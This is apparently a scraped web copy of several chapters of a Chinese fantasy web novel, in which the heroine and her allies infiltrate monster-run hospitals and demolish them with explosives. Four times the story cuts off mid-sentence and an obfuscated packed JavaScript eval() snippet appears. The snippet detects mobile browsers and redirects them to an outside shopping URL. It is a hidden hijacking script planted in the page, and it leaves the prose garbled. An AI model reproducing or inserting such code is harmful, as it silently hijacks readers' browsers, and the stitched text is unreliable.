破妄者是像他这样的看见世界真相,具有特殊能力的人,像沈云烟这样的神之代行人似乎拥有与神明沟通的能力,是特殊的破妄者,特殊人干出特殊事也不是什么奇怪的事。 对,就是这样。 他问道:“热武器对他们起作用吗?” “可以的”,这回是姬蒙搭腔,他摸了摸自己手臂上的刀痕:“刀可以伤到我们,炸弹当然也可以,在巢穴里,怪物们对痛觉不敏感,生命力格外顽强,但不意味着杀不死。” 他冷漠的鱼眼中浮现出疯狂:“要是直接扔进高压氧舱,一瞬间那座医院就会被夷为平地。” 宋先默默离姬蒙远了一步。 沈云烟:“倒是提醒我了,炸医院的时尽可能保证鱼头人们都在里面,免得后续还得一个个找,比较省事。” 她道:“除了鱼头人的医院之外,还有蛇头人的精神病院,咱们对这里地形不熟悉,恐怕不太好下手。” 姬蒙:“以量取胜,直接物理覆盖。” 宋先:“……” 这一个个的都这么狠,显得他清澈又愚蠢。 他听着这俩在磋商计划,话题越来越黑暗,又看了一大箱子的顶级热武器,觉得自己腿也不疼了,心也不慌了,腰板也直了。 果然一切恐惧来源于火力不足。 前面的怪物巢穴听着,你们已经被包围了! 熹微的光亮从东边升起,结束了放松夜晚的怪物们重新披上身份,陆陆续续地来到了医院门口。 医院六点开门,此时门口已经有两个人影等着了。 耳科医生打了个哈欠,手上还没凝固的红色血液被它随意抹在白大褂上。 它走上去向两位早就到单位的同事打招呼:“今天怎么这么早啊你们俩,眼科圣手没沾血也就算了,鼻科你今天怎么也干干净净的。” “我们很熟吗?放开。”宋先冷声道,他此刻穿着干净的白大褂,鼻科医生身份牌正挂在身前最显眼的地方。 “我沾不沾血关你什么事”,在宋先右侧站着的姬蒙缓缓转过身来,看向耳科医生时鱼眼中毫无情绪,锋利的手术刀被他静静握在掌心。 一瞬间,气氛开始凝固。 “都什么人嘛,真是的。”耳科医生眼见不对,两步并一步地进入医院,它即使再狂妄,也不敢独自面对两名医生的围攻。 它们虽然是同事,但一点革命友谊都没有,要是它被眼科和鼻科联手杀死了,说不定剩下两个还会乐呵呵过来分一杯羹,瓜分它的身体。 它可太清楚这群同事的尿性了,因为换作是它,它也会这么做。 宋先见找茬的医生走远了,轻轻吐出一口气,僵硬的双手稍稍放松了一些。 他和姬蒙对视一眼,一同踏进了医院的大门。 另一边。 沈云烟带着护士的身份牌来到了精神病院大门口。 护士是和两个医 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635824|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 院都有牵扯的员工,最开始时它就是要把精神病患者002带回精神病院里,威胁她如果迟到了还会受到电击。 和沈云烟想的没错。 护士的身份确实能进蛇头人的精神病院,门卫甚至还熟稔地和她打招呼。 “护士早上好。” 她点了点头,无比淡定走了进去。 精神病院里不像五官医院那么热闹,只有零星几个蛇头人员工在前院上岗,浓郁的消毒水气味在鼻尖萦绕,显得格外冷寂。 顺着一条长廊走了快十分钟,沈云烟才看见了另一扇厚重的铁栅栏门。 门旁边放了一套桌椅,上边趴着一个穿着保安服的蛇头人。 精神病院显然更需要安保力量,这只守在后院门口的蛇头人像堵墙一样壮,结实的肌肉快把保安服撑破了,目测站起来得有三米。 “护士这么早就过来了,002还没找到吗?”它吐着蛇信子,竖瞳锁定沈云烟。 “我要找002的主治医生,它现在上班了吗”,沈云烟解释道:“002昨天惹怒了神被直接处死了,我得去和精神科医生对接一下。” “蛇甲医生是整个精神病院最负责的医生,它早上来的早,已经进后院了,现在应该在进行电击治疗。” “002也真是的,死了也好,省的我们还要给它安排疗程。” 它挠了挠头:“对了护士,你进后院的额度已经用完了,蛇甲医生只给你划了三次名额,要再想找蛇甲医生只能等它晚上下班出来,我不能放你进去。” “这样啊”,沈云烟表情略有失落:“那我就在前院等等医生,晚上再见。” 既然后院暂时进不去,那就现在前院溜溜,趁机把东西先装上一部分。 她人还没走开,另一道声音在不远处响起。 “既然护士想进去,我带她进入就好了,额度算在我名下。” 安保蛇人立刻站起身来,恭恭敬敬道:“蛇乙医生早上好。” 顶着巨大竹叶青脑袋的蛇人缓缓走来,衣服上还携带着丝丝腥气,显然也是刚结束晚上的盛宴,赶来到点上班的。 看来这里的医生是按甲乙丙丁的天干顺序排序的,也不知道具体有几位精神科医生,沈云烟盘算着,最好能一锅端。 “医生好”,她也跟着打了声招呼。 “好久不见,护士,想进去就跟我走吧,我可不是蛇甲那样的人,怎么会有人忍心把认真工作的护士小姐拒之门外呢。” 蛇乙的腔调十分夸张,像是在唱歌剧一样,而且看起来和蛇甲很不对付。 沈云烟扬起笑容:“十分感谢蛇乙医生的关照,等汇报完工作我可以单独找您聊聊吗,我觉得您才是精神病院里为数不多的正直医生,蛇甲医生实在是太……唉。” “当然”,蛇乙很是愉悦,只要是能让蛇甲不痛快的事它都喜欢干,它道:“我一直欢迎爱岗敬业的医院员工成为我的助力,我在201,护士小姐随时可以找我。” 一番交谈过后,一人一蛇都十分满意。 沈云烟整理好自己的护士牌,带着标准微笑走进了精神病院的核心区域。 8. 第八章 井井有条的医院(7) “啊,被踩到了”,这是苔藓。 “噗噗噗”,这是水母吐泡泡。 沈云烟环顾一周,精神病人欢乐多可不是说笑的,各色各异的患者奔跑着,蜷缩着,还有把头埋进沙堆里当鸵鸟的。 精神病院的人员主要集中在后院,盖了四层楼高的水泥墙和高压电网基本能挡住绝大多数患者的越狱。 这样一看,002确实有点本事,能从这么一座铁桶里跑出去不止一次。 “蛇甲这会儿肯定在在电击室里,你汇报完记得过来找我。” 竹叶青医生早就习惯了这里的环境,此刻面不改色,甚至还有闲心叮嘱沈云烟。 他头转过去看向院里乱七八糟的患者,压低声音道:“全都滚回去,都想去电击室了是吧。” 蛇乙医生积威颇深,吓得院里所有患者都畏畏缩缩地聚到一块,有几个稍微清醒点的直往楼里钻,剩下人也有样学样,没一会儿这里就散的差不多了。 沈云烟目送蛇乙医生转头上了二楼,正准备离开时,她目光一转,发现墙角还蹲着一个患者,人类形态,扎着两只麻花辫,看起来年龄不大。 因为体型小,蹲的位置又偏僻,所以没被蛇乙注意到。 见沈云烟走过来,小女孩嘘了一声:“不要出声,蘑菇是不会说话也不会走的。” 沈云烟蹲下来问:“大家都回去了,你怎么不走。” 女孩想了想:“蘑菇要晒太阳,回去没有阳光,我会枯萎的。” 刚刚粗略看去,精神病院的患者有四分之三都是人类,比例比五官医院还要高不少。 这些患者大都灵魂残缺,所以才心智不全,行为怪异,恐怕是C03摄取灵魂时造成的创伤。 “蘑菇,抬头看我。”沈云烟道。 女孩嘟囔道:“蘑菇又没有眼睛,怎么看人,而且蘑菇不会和陌生人聊天。” 曾经和人类打交道时,一位智者曾经告诉沈云烟,和心智不全的人交流时要先顺着她的思路来,再逐步引导思维。 她道:“怎么会是陌生人呢,你仔细瞧瞧,我就是太阳啊。” 女孩闻言,抬起头仔细看了看沈云烟的脸,突然开心道:“我终于看见太阳了,老蘑菇果然没有骗我,外面真的有太阳,我晒到太阳了,我不会枯萎了!” 沈云烟继续顺着话道:“对啊,太阳来了大家都不会枯萎了。” “所以,晒到阳光的蘑菇能告诉我,电击室在哪里?” 女孩刷地站起身来,指了一个方向,目光炯炯:“太阳要去晒死黑黑的房子吗,就在那里,老蘑菇说只有太阳才能让黑房子消失,他果然没说错。” 沈云烟拍了拍女孩身上的灰尘:“一会儿会有很热的太阳在这里出现,会把蘑菇烤焦的,聪明的蘑菇要记得往外跑,外面有更舒服的太阳。” 女孩连连点头,拍了拍胸膛:“我是最聪明的蘑菇,我不但要自己出去晒太阳,还要带着其他老蘑菇晒太阳。” “好蘑菇。”她摸了摸女孩的头。 精神病院一楼最右侧的房间再往下,黑漆漆的楼梯仿佛看不到尽头,沈云烟一步一步往下走。 “哐……哐……” 寂静的空间里只有她的脚步声在不断响起,幽暗的墨绿色指示灯在房顶悬挂着,一直延伸向前。 “咚咚咚。” 清晰又有节奏的敲门声在地下室响起,沈云烟看了一眼房间门上的挂牌——电击理疗康复室。 没人开门,她又敲了一遍门。 “哐当……”门终于开了。 不耐烦的声音从室内传出,黑色眼镜蛇头从房间里探了出来:“谁啊,真没眼色,没看见正忙着。” “护士,你怎么来了。”它一愣,望向身份牌,随即反应过来:“你来找蛇甲的?它在休息,要不进来等等。” 眼前这条蛇人很眼熟,似乎就是她第一次在精神病院外远远看到的那条暴躁老哥。 “那真是麻烦了”,沈云烟微笑着,毫不客气地抵住张开的门,不等眼镜蛇人让开,她就挤进了房间内部。 浓郁的腥臭味扑面而来,她垂眸看去,房间内的仪器亮着白色的光,照出一个巨大的身影,虎纹斑蟒的头部加上人类的身体使它看起来不是很协调,但整体看着比安保蛇人还要庞大。 此时它正睡在手术床上一动不动。 这就是蛇甲。 “蛇甲医生忙了一晚上太累了,想在电击室里睡一阵,咱们小声点别吵醒他。” “来护士,喝点东西。” 眼镜蛇人熟练地寒暄,询问道:“怎么今天这么早就来了,发生什么事了?” “002号患者被神处理了,我来和蛇甲医生汇报”,沈云烟放下杯子,坐在沙发上人畜无害。 “那个啊,不过是个不听话的实验品罢了,蛇甲医生肯定也没多在乎。”眼镜蛇人很是无所谓。 它伸了个懒腰,抓起水壶往沈云烟身前的玻璃杯子又添了点水:“没人会去关注实验品,比起那个不知所谓的002,我还是更关注护士你。” “我?我就是个深深信仰着神的普通护士而已。”沈云烟缓缓抬起头。 “不不不”,眼镜蛇人嘴一咧,恐怖的獠牙在皮肉下若隐若现:“我从没见过你这样特别的人。” “我很好奇,你是怎么拿到护士的身份而不被神发现的。” “嗯?入侵者。” 话音未落,沈云烟已然抢先一步向眼镜蛇人发动攻击,惯用的匕首刺进蛇人的胸口,却在尖头没入时被鳞片挡住。 其他怪物也只是头部异化,这只居然连部分身体都覆盖上了蛇鳞。 她迅速收回匕首,一把苍漠之鹰抵在了蛇人头上,没有丝毫停顿地扣动扳机。 “等等,你怎么会有这种东西!” 眼镜蛇人瞪大了眼睛,没等下一秒,它身体一颤,彻底软了下来。 沈云烟看向躺着的蛇甲,这么大动静居然没惊醒它,恐怕眼镜蛇人在其中也做了不少功夫。 就是不知道这眼镜蛇是蛇几。 正要向蛇甲动手,沈云烟发现身后又出现悉悉索索的声音,回头一看,刚刚已经死不瞑目的眼镜蛇人居然又颤颤巍巍地坐了起来。 她皱了皱眉,抬手又准确正中眉心,刚刚睁眼的眼镜蛇人闷哼一声,仰面倒地。 “怎么回事,复生的能力?” 沈云烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635825|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没放下手中武器,在第二次蛇身恢复呼吸的时候重新补木仓。 这怪异的一幕令她把处理蛇甲这件事挪到了第二顺序。 “C03的巢穴居然能诞生这种程度的怪物,低估它了。” 这回沈云烟就蹲在眼镜蛇人身边,来来回回总共补了七次刀,直到第八次的时候她不耐烦了,决定动用些力量来彻底抹除这家伙。 “真是比人类的飞天大蠊还要顽强。”她叹了口气。 现阶段使用言灵会缩短这具身体的使用时间,后面就得速战速决了。 浓郁纯粹的力量顺着言语流出,铸就更为强大的规则。 “吾言……” 这回的眼镜蛇人没死那么快,它一睁眼就看见沈云烟那不耐烦的眼神,好像下一秒就要把它挫骨扬灰。 一阵浓浓的恐惧涌上心头,它感觉自己这次是真的要完蛋了。 堪称凄厉的惨叫声在电击室里响起,沈云烟被这鬼哭狼嚎震地停住了言灵。 眼镜蛇人哭闹着:“姐,姐,姑奶奶,祖宗,都是误会啊,我是自己人,姐看清楚,我是自己人呐。” “姐先把东西放放,给我机会坦白从宽,重新做人!” “……” 片刻后,一个清秀的小哥出现在了房间里。 “蛇甲已经死了,那边是尸体,我今早抓住机会动的手。”他开口道。 “我叫孟星辰,可能,差不多是十年前来到这里的。”他摸了摸脑袋。 孟星辰看了看自己的手:“我那时刚刚毕业半年,准备辞掉第一份工作跳槽,在出租屋睡着后就来到了这里。” “最开始我迷迷瞪瞪任人摆布,有次被一个蛇人医生抓出来做实验,差点死了,濒死前获得了超能力,吞了那个蛇人医生。” 孟星辰脸上来回变化,几个瞬间就重新变回了蛇人的模样,又很快变回人类:“我把它命名为吞噬。” “伪装地很成功,我没有发现任何破绽。”沈云烟认可道。 孟星辰骄傲道:“是吧,而且每吞一个怪物,就相当于多一条命。” 他偷摸看向沈云烟,委屈巴巴:“姐,你差点把我打死了,我就剩最后一条命了。” “别叫姐,我睁眼看世界的时间还没你长呢,叫我沈云烟就好。” 她苏醒的时间确实不长,这么说也不算错。 孟星辰笑嘻嘻地坐过来:“我第一眼看见云烟你就知道你不是普通人,这里的‘神’胆子小,心眼又小又毒,能在它眼皮子底下偷换身份的人肯定不一般。” “这里的共识就是没有怪物会在‘神’的眼皮子底下夺取身份,这是禁令,不仅会被同事围攻,还会遭到‘神’的抹杀,所以简单粗暴的形成了只认身份牌的规则。” 他道:“我直接吞了怪物变成了它,也算走捷径拿到了身份,你是怎么搞到身份的。” 沈云烟瞥了他一眼:“我关系户,上头有神仙罩着,它发现不了我,所以我直接上手抢的。” “啊?”孟星辰张大了嘴。 他想了想,一脸郑重道:“云烟姐呐,您的那位神仙,现在还缺关系户,呸,缺一个勤劳虔诚又忠心的舔狗,呸,信徒吗。” 9. 第九章 井井有条的医院(8) 婉拒孟星辰后,他一脸遗憾地坐回原位。 这家伙可能十年没和人好好交流,话攒的实在有点多。 沈云烟差点没忍住给他加个静音符。 她看了看电击室的一片狼藉,问道:“蛇甲的身体你准备怎么处理,直接吞噬吗?” 这一提可让孟星辰耷拉下来脸,他眼神冷了下来:“别提了,我费心费神忙了三年,好不容易送蛇甲上了西天,结果发现根本就吞不了它。” “这家伙不是异化而来的蛇人,是这里所谓的神最开始创造的怪物,我要是强行吞噬它,最大的可能就是失去自我,直接成为这里的傀儡。” 他脸色逐渐谨慎:“而且我不确定它到底死没死,它是没有呼吸了,身体也冷了,但是我总是有种奇怪的错觉,觉得它能再醒过来。” 他忌惮地看向房间里的蛇甲尸体,虽然已经没了气息,但压迫感依旧强烈。 “吞不了就算了,吃坏肚子也不值当”,沈云烟问:“蛇甲是虎纹斑蟒,蛇乙是竹叶青,还有呢。” 孟星辰回答道:“我是蛇丁,是排行最末尾的精神科医生,但是别叫这个名字,怪羞耻的,叫我孟星辰就行。” “这里的医生只有四位”,沈云烟摩挲着手指,道:“现在甲和丁已经不用管了,乙我见过,说说丙吧。” 孟星辰想到蛇丙,表情有点奇怪,他道:“蛇丙平常在三楼301住着,不爱出门,我来了这么久也才见过它三面。” “如果我没感觉错的话,它是这个精神病院里最恐怖的存在。” 孟星辰在这里隐藏十年还活着,除了砸中大礼包觉醒吞噬能力外,天性中趋吉避凶的感知力也是他一大倚仗。 “没法用语言来形容的感觉”,他道:“我本意是想选只比我高一层的丙级,但是见过一面后我就不敢动手了,我总觉得它能看透我。” “挑挑拣拣后,蛇乙太花哨,存在感过强,选他有暴露风险,蛇丙一年露不了两面,太过神秘,折中后我选了蛇甲动手”,他掰了掰脖子:“这个大家伙废了我三条命呢,要不是提前做了准备,今天谁生谁死还不好说。” 和五官医院的医生相比,精神病院里的蛇人们显然更棘手一点。 不过谁让他们运气不好,先遇上了孟星辰这个天生卧底圣体,精神病院的半壁江山不知不觉就被搞垮了。 聊了这么久,大致的情况她都清楚了,是时候把她的计划提上来了。 沈云烟开口道:“我今天过来是想办件事的,蛇甲的尸体你也不用担心。” 她微笑道:“毕竟,炸成灰之后它想复活也没地复活了。” “精神病院紧急通知,精神病院紧急通知,有入侵者抵达后院,请全体工作人员紧急集合,找出入侵者并即刻抹杀。” “再通知一遍,请全体工作人员集合,找出入侵者并即刻抹杀。” 许久不用的医院广播传出刺耳的声音,电流滋滋声混着失真的人声在整座精神病院中响起,打破长久的冷寂。 “怎么回事?”在201刚坐下不久的蛇乙站起身来,从窗外往下看,刚刚的广播已经引起一阵骚乱,不少患者慌张聚集在广场中央。 “是蛇丁?那家伙在搞什么鬼!” 共事了这么多年,即使有电流声阻碍,他依然敏锐地听出那是谁的声音。 广播里说有入侵者…… “居然有入侵者能闯进这里,好大的胆子。” 没等他开门,门外就传来咚咚咚的敲门声。 是护士慌张的声音:“蛇乙医生,发生了什么,外面好乱。” 竹叶青蛇眼睛泛出幽光,心中升起警惕,它缓缓打开门,见门外站着的确实是护士,这才收起毒牙,问道:“你怎么才来?” “咱们的事以后再聊”,它推开沈云烟往楼下走,道:“我先去处理底下的暴动。” “对了,你去把蛇丙叫出来,那家伙安静地和死人一样,不叫它就永远不出房间”,它扔给沈云烟一把钥匙,嘲讽道:“哪天房塌了把它压死它都吭不出屁来。” 沈云烟:“……” 某种程度上,它真是个神奇的预言家。 沈云烟接过钥匙,看着蛇乙骂骂咧咧地走开,一颗米粒大小和白大褂同色的微型炸弹牢牢沾在它衣服后,随着它一起离开。 她又往201探了一眼,留下不少再不用就得退回去保修的高级产品,这才转身上了楼。 “301号房间。” 蛇丙医生在这座精神病院里是个异类,这让沈云烟十分好奇。 她先在三楼的边边角角装好“产品”,然后走到301房门前,没有犹豫直接插入钥匙,拧开。 “人类,出去。” 刚一进门,一道清冽的男声就在房间内响起,沈云烟手上一顿,抬头望了过去。 不同于精神病院里员工们异化的恐怖蛇头,眼前的蛇丙医生甚至能称得上美丽。 是的,美丽。 玉润的白色蛇鳞覆盖在头颅上,一双如深邃湖泊的湖蓝瞳孔倒映着沈云烟的身体,它穿着一身医院的标准制式白大褂,衣服覆盖着的躯体明显能感到它的消瘦。 沈云烟端详了一会,开口道:“你不是巢穴的异化产物。” “C03创造不出这样的造物”,她十分笃定。 蛇丙医生坐在床上,将身上的毯子往上拉了拉,竖瞳直直看向沈云烟:“出去。” 拒绝交流。 沈云烟来了兴趣。 这精神病院里的戏可比五官医院的戏精彩,里面什么都有,被扬了的蛇甲,花哨的蛇乙,二五仔蛇丁,再加上一个疑似妖族的蛇丙。 感觉不用她动手,这里自己都能把自己搞垮。 “这座巢穴马上要被清除了,你如果是被困在这里的,这会儿就可以提前准备准备回家了。” 似乎是触动了蛇丙的某个点,他撇开头:“你们杀不死它的。” 他似乎陷入了某种回忆:“即使你们能摧毁医院,只要它还在,这里的一切就又会回到最初。” “它藏的太好了,没有人能找到它。” “我们,永远都逃出不去。” 蛇丙身上的鳞片竖起来,双手死死抓住轻薄的毯子,陷入某种痛苦的回忆中,它哑声道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635826|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “已经一百年了,我什么办法都用过了,没用的,全都没用的。” “我不知道你是怎么混进来的,你以为你是第一个吗,百年间像你这样异想天开的人类从来就没断过,我和他们合作过,闹翻过,最后,他们都死了。” 他闭目道:“要是想活下去,就在巢穴里找个地方躲着,或许能安静的过完这一生。” “原来如此,原来这个C级是这么评出来的。” 官方组织那边有专业人员依照自身异能来判断巢穴等级,这么来看,C级评分确实贴切。 沈云烟点头:“C03靠苟就能把所有人都熬死,即使是破妄者,只要被吞进来就几乎等于死亡,因为它绝不会放走任何一个人。” 只要不找到它的真身,就拿这座巢穴没办法,在这里要么被杀死,要么被困死。 “我清楚了,蛇丙”,沈云烟眼神微亮:“如果不想真的变蛇饼的话,最好现在就起来下去,不然一会儿我不能保证你以后能全须全尾出现在人前。” “再过十五分钟,这里就会被夷为平地。” 沈云烟语气轻快,通常遇见了有意思的事情她就会显的兴奋。 “你……”又是一个不听劝的。 蛇丙虽然心态悲观,但也不是受虐爱好者,对被倒塌房屋压死这件事不感兴趣,灵敏的感知力已经察觉到这栋楼里多了不少好东西。 他闭目延伸感知,然后诡异地沉默了。 这量也太多了,都能把精神病院来回犁平三回了。 沈云烟已经离开了,他叹了口气,只能下楼往外边走。 “蘑菇大军们,冲啊!!!” 一片混乱之间,一道略显稚嫩的少女声音在精神病院广场内格外醒目。 她站在水泥高台上,手中举着一颗核桃大小的金属物件,高呼道:“这是太阳给我们的火种,我们把坏人都烧死就可以出去了。” “外面有宽阔的大海,有翠绿的草地,有舒服的阳光,有温柔的风,所有蘑菇,快冲啊!” 蘑菇少女灵巧地跳回地面,然后和一大群欢呼雀跃的患者一起涌向铁栅栏门。 “全都滚回去,你们这些肮脏的虫子”,守在后院门口的蛇头人暴怒地挥舞着狼牙棒,试图喝退前进的人潮。 “接着!” “什么鬼东西?!”一颗圆滚滚的金属壳从远处砸来,正中安保蛇人的脑袋。 “三,二,一,火种炸喽!” 少女笑嘻嘻的声音传过来,阳光照进她浅褐色的瞳孔中,仿佛整个眼眸都在发光。 “啊啊啊啊——”剧烈的爆炸直接掀翻了蛇头人,残留的火焰持续焚烧他的躯体,一阵混乱抽搐之后,蛇头人轰然倒地,失去气息。 “蘑菇大军!冲啊!”少女喊道。 “冲啊!”患者们喊道。 整座精神病院的医生护士员工因为蛇丁的广播全部集中在了后院,此刻也陷入了混乱之中。 蛇乙被激出了凶性,它露出獠牙,随口就咬死了一个乱跑的后勤蛇人。 它擦了擦嘴角的血,眸色血红:“别让我碰到你,该死的入侵者。” 10. 第十章 井井有条的医院(9) “想要除掉C03就得把它引出来,听蛇丙的意思,摧毁整座巢穴并不能使它暴怒现身。” 迄今为止,C03唯一现身的地点就是宋先的梦中梦。 “直接选择没有威胁的美味大餐单向链接,真是千年王八万年龟,苟到深处自然神。” 沈云烟晃着手里的身份牌,俯视着整座精神医院。 她站在整座医院的最高点,柔和的风吹动她的发丝,她突然攥紧手中的身份牌,低声道:“时间刚刚好。” 她走上天台边缘,从高空纵身一跃,在楼层间借力,稳稳落地后消失在患者人群之中。 “蛇丁,你这个背叛神的杂种!” 庞杂的烟尘之中缓缓显出蛇首人身的轮廓,蛇乙医生从烟尘中走出,目露凶光,半身白袍已然被撕裂,露出鲜红的血肉。 “他奶奶的,别叫我蛇丁,听好了,老子叫孟星辰!” 孟星辰怒骂一声,接着扑杀了上去。 蛇类的攻击分为绞杀和毒杀,在两者都是毒蛇的情况下,因为体型和阶位影响下,即使眼镜王蛇的毒性远高于竹叶青,在正面对决时,孟星辰一时也奈何不了蛇乙。 他分神扫过广场全局。 患者已经撤完了,医院其他员工聚集在后院,此刻虎视眈眈地围着他,伺机扑上来咬他,但因为他现在是属于蛇乙医生的“猎物”,所以场面还没有彻底陷入疯狂。 他思衬着:“时间差不多了……” 蛇乙医生露出獠牙:“是你的时间差不多了。” 孟星辰看了看眼前这群凶神恶煞的蛇头人,突然收起了攻击的姿态,平常人一样打了个哈欠:“我现在要跑出去的话你们这群小比蛇还得要死要活的追着我咬,到时候跑散了还得我一个个费劲收拾。” “所以你放弃挣扎了,蛇丁?” 蛇乙医生看眼前这人吊儿郎当的模样,一股无名火从心中烧起来了。 它笑的残忍:“我会一点一点撕碎你,你肮脏的灵魂碎片将会被递送到神的面前,经受烈火焚身,永不得安宁。” “废什么话”,孟星辰掏掏耳朵。 “我杀不了你还炸不死你。”他呲牙笑道。 刚刚那么多员工聚在这里,他趁乱吞了一个蛇头人续了一条命,他算了算时间,还有三十秒就要爆炸了。 这会儿整座精神病院就只剩下异化的蛇人和他,患者已经全部被撤了出去。 孟星辰脸上布满笑容。 沈云烟,你可真是欠我一个大人情。 经过这一遭,不知道能不能和她背后那个的神仙攀上关系。 孟星辰最开始不信这些,但这么多年过去了,他自己身上发生的已经不能用科学解释清楚了,想在这个世界安稳活下去,就必须拥有强大的力量。 而在所有人的认知中,神明的强大毋庸置疑。 和沈云烟合作首先是为了自救,其次也是为了能有条获取更强大力量的途径。 他将周围凶神恶煞的异化蛇人看了一遍,冰冷的竖瞳闪过浓厚的厌恶。 最后一点原因,他看这些东西不爽很多年了。 “三……二……一……” “嘭。”孟星辰上下嘴唇一碰,颇为恶意地看向蛇乙。 轰鸣的爆炸声如巨兽怒吼,震动了整座建筑,瞬时间火光冲天,炽热的火焰在空中翻滚,仿佛要把整个世界吞噬。 蛇乙惊惧地朝后望去,没等它真正转过头,视角突然变得奇怪,它好像在四散飞溅,又好像踩上了云端。 剧烈痛楚随后而至,大脑才反应过来身体已经被巨大的冲击力震碎了,没等它再思考些什么,世界便永归了寂静。 天空被烟雾笼罩,热浪滔天,只剩下废墟与混乱。 这里将成为一片真正的死寂之地。 沈云烟走进废墟之中寻找着什么。 过了许久,等到这里连风声都快消弭时,一片落满灰尘的砖瓦突然动了动,一只手从缝隙中艰难伸了出来。 沈云烟快步走了过去,抓住那只手使劲把他提了出来。 费了些劲,孟星辰终于爬了出来,他使劲咳了咳,幽怨道:“你好粗鲁啊。” 沈云烟:“那我再把你塞回去,咱们重新拉一遍。” 孟星辰这会儿浑身上下遍布鳞片,死遁躲过爆炸后,剩下的那点温度和剐蹭对他来说跟挠痒痒似的。 他利索地跳起来,谄媚道:“不用不用,我现在可太好了,一点事都没有。” 鳞片隐去,他恢复了人类的模样,露出毛茸茸的黑色脑袋。 “对了,那些人类灵魂呢?”他问道。 跑了这么大圈子,就是为了把这些残缺的人类灵魂保下来。 沈云烟:“全部都在外面的空地呆着,蛇丙也在那,他和我们一样,也是误入巢穴的迷途者。” 孟星辰嘴角一抽。 迷途者?其他人倒像是真的迷茫,你目的精准爆破人老巢的模样可跟这个词半点不沾边。 “我就说那个自闭医生不简单,我埋头苦干装孙子才能活下来,他天天呆在那破房子也没人敢惹他,不过这家伙居然出来了,我还以为他会跟他的房间一起同生共死。”孟星辰撇撇嘴。 “我是不爱见人,我又不是喜欢上赶着找死。”有人接腔道。 满天尘埃之下,一抹白色朝他们走过来,不同于之前见到的蛇首模样,眼前的男子容貌俊美,柔软的银白长发披散开来,因为过于白皙清瘦,给人一种病弱的破碎感。 “靠,小白脸。”看清来人模样,孟星辰轻轻爆了句粗口,他望向沈云烟,软声道:“我的功劳最大对不对,你可不能被小白脸迷惑了。” “说什么呢”,沈云烟被他一惊一乍搞的没脾气,无奈道:“我和蛇丙又不熟,迷哪门子的惑。” 她看着走近的蛇丙,问道:“你不是觉得我们在做无用功吗,还过来干什么。” “我想出去,而你们有能力搅浑这滩死水”,白发男子看向沈云烟:“我们做个约定,我会帮你们守住外边那些普通人的灵魂,如果你们找到出去的办法,请告知我。” “萍水相逢的,我们凭什么相信你”,孟星辰神色冷淡,他舔了舔自己的小虎牙:“不要仗着自己那副柔弱的样子就想博同情,我们不吃这套。” 白发男子叹气,重新道:“我叫白月”。 他看着一直没说话的沈云烟:“你们还要去找‘神’,那些普通人没人看着在这里很容易出事。” “妖族的真名限制诸多,如果是你的话,应该可以相信我的诚意。” “自然”,沈云烟按下跃跃欲冲的孟星辰,接着道:“多一个人帮忙总是好的,那些人就先交给你了。” 白月点头:“放心,有我在这里守着,他们连一根汗毛都不会掉。” 他站在原地远远看着沈云烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13635827|143770||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 二人离开。 良久之后,他转身回到原来的地方。 他已经快撑不住了。 双眸微合,白月隐藏住瞳孔深处的浓浓疲倦。 希望这次没有赌错。 “你怎么这么容易就相信他,我可是为了你死了八次才获得信任,八次唉……”,孟星辰跟在沈云烟背后,喋喋不休。 “怎么死的自己心里不清楚?” 沈云烟望了他一眼。 装神弄鬼半天,又是密闭空间又是蛇头人的,清楚的知道他在拉人商量,不清楚的以为他要杀人灭口。 他能活下来都得多亏当时沈云烟手没抖。 “那不是刚开始都不认识嘛,嘿嘿”,他转了个话题:“你之前说在另外一个医院也做了布置,现在情况怎么样了。” “往前看”,沈云烟道。 一朵巨大的蘑菇云在不远处的建筑上爆破开,剧烈的风浪从前方涌过来,要不是孟星辰如今身体素质强悍,这会儿都得被震趴下。 他被风沙吹得睁不开眼:“这是咱们的人干的?” 沈云烟点头。 得到准确回应后,他瞪大了眼睛:“可真他奶奶的牛掰。” 